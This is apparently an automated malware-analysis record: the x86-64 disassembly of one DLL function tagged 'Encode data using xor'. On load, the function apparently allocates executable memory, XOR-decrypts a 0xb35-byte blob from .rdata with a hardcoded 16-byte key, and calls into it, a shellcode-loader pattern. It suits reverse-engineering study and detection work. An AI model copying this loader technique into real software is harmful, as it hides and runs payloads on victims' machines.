Function at 0x180004200
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
movdqa xmmword [rsp + 0x70], xmm10
movdqa xmmword [rsp + 0x60], xmm9
movdqa xmmword [rsp + 0x50], xmm8
movdqa xmmword [rsp + 0x40], xmm7
movdqa xmmword [rsp + 0x30], xmm6
cmp edx, 1
jne 0x18000446f
mov r14, rcx
mov edi, dword [0x18004a018]
lea rcx, [rdi*8]
call fcn.18000bb78
test rdi, rdi
je 0x1800043cf
cmp edi, 0x20
jae 0x180004264
xor ecx, ecx
mov rdx, rax
jmp 0x1800043c0
mov ecx, edi
and ecx, 0xffffffe0
lea rbx, [rcx - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov esi, edx
and esi, 3
cmp rbx, 0x60
jae 0x180004292
movdqa xmm0, xmmword [0x180034b60]
xor ebx, ebx
jmp 0x180004368
and rdx, 0xfffffffffffffffc
neg rdx
movdqa xmm0, xmmword [0x180034b60]
xor ebx, ebx
movdqa xmm8, xmmword [0x180034b70]
movdqa xmm9, xmmword [str.________________0000000000000000________________PPPPPPPPPPPPPPPP________________pppppppppppppppp]
movdqa xmm10, xmmword [0x180034b90]
movdqa xmm4, xmmword [0x180034ba0]
movdqa xmm5, xmmword [0x180034bb0]
movdqa xmm6, xmmword [0x180034bc0]
movdqa xmm7, xmmword [0x180034bd0]
movdqa xmm1, xmmword [0x180034be0]
nop word cs:[rax + rax]
movdqa xmm2, xmm0
paddb xmm2, xmm8
movdqu xmmword [rax + rbx], xmm0
movdqu xmmword [rax + rbx + 0x10], xmm2
movdqa xmm2, xmm0
paddb xmm2, xmm9
movdqa xmm3, xmm0
paddb xmm3, xmm10
movdqu xmmword [rax + rbx + 0x20], xmm2
movdqu xmmword [rax + rbx + 0x30], xmm3
movdqa xmm2, xmm0
paddb xmm2, xmm4
movdqa xmm3, xmm0
paddb xmm3, xmm5
movdqu xmmword [rax + rbx + 0x40], xmm2
movdqu xmmword [rax + rbx + 0x50], xmm3
movdqa xmm2, xmm0
paddb xmm2, xmm6
movdqa xmm3, xmm0
paddb xmm3, xmm7
movdqu xmmword [rax + rbx + 0x60], xmm2
movdqu xmmword [rax + rbx + 0x70], xmm3
sub rbx, 0xffffffffffffff80
pxor xmm0, xmm1
add rdx, 4
jne 0x1800042f0
test rsi, rsi
je 0x1800043b0
lea rdx, [rbx + rax]
add rdx, 0x10
shl rsi, 5
xor ebx, ebx
movdqa xmm1, xmmword [0x180034b70]
movdqa xmm2, xmmword [str.________________0000000000000000________________PPPPPPPPPPPPPPPP________________pppppppppppppppp]
nop dword [rax + rax]
movdqa xmm3, xmm0
paddb xmm3, xmm1
movdqu xmmword [rdx + rbx - 0x10], xmm0
movdqu xmmword [rdx + rbx], xmm3
paddb xmm0, xmm2
add rbx, 0x20
cmp rsi, rbx
jne 0x180004390
cmp rcx, rdi
je 0x1800043cf
mov rdx, rax
add rdx, rcx
nop dword [rax + rax]
mov byte [rdx], cl
add rcx, 1
add rdx, 1
cmp rdi, rcx
jne 0x1800043c0
mov rcx, rax
call fcn.18000bb44
mov dword [0x18004a018], 0
movaps xmm0, xmmword [str.MqAj_4htuXKAoE]
movaps xmmword [rsp + 0x20], xmm0
mov edx, 0xb35
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [0x180044940]
mov edi, 1
lea rdx, section..rdata
nop word cs:[rax + rax]
nop dword [rax]
lea ebx, [rdi - 1]
and ebx, 0xe
movzx ebx, byte [rsp + rbx + 0x20]
xor bl, byte [rdi + rdx - 1]
mov byte [rax + rdi - 1], bl
cmp rdi, 0xb35
je 0x180004452
mov ecx, edi
and ecx, 0xf
movzx ecx, byte [rsp + rcx + 0x20]
xor cl, byte [rdi + rdx]
mov byte [rax + rdi], cl
add rdi, 2
jmp 0x180004420
lea rdx, [rsp + 0x20]
mov r8d, 0x10
mov r9d, 0x7374df
mov rcx, r14
call rax
mov qword [0x18004b3b8], rax
mov eax, 1
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm10, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret